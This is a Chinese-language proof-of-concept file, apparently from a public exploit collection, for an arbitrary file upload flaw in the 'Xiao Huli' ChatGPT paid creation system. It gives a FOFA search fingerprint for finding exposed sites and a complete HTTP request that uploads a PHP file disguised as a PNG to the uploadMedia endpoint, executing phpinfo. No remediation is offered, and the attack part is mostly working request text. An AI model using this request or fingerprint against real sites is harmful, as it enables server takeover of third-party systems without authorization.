POC00/小狐狸Chatgpt付费创作系统存在任意文件上传漏洞.md
2024-08-04 11:27:35 +08:00

52 lines
1.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 小狐狸Chatgpt付费创作系统存在任意文件上传漏洞
**小狐狸GPT付费体验系统的开发基于国外很火的ChatGPT这是一种基于人工智能技术的问答系统可以实现智能回答用户提出的问题提供更加精准的答案。同时小狐狸GPT付费体验系统采用了最新的GPT3.5接口与GPT4模型同时还支持型文心一言腾讯混元讯飞星火通义千问智普等等国内各种大模。**
漏洞利用需要平台用户登录
## fofa
```yaml
"/web/static/css/chunk-elementUI.f92cd1c5.css"
```
## poc
```python
POST /web.php/video/uploadMedia HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 594
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhp8gBUbCczcaLGAa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=662e1cea3d0191
Connection: close
------WebKitFormBoundaryhp8gBUbCczcaLGAa
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
你的图片数据
<?php phpinfo();?>
------WebKitFormBoundaryhp8gBUbCczcaLGAa--
```
![image-20240803224143229](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408032241325.png)
## 漏洞来源
- https://mp.weixin.qq.com/s/6twkv3r0mg5OuNLD0OGwdg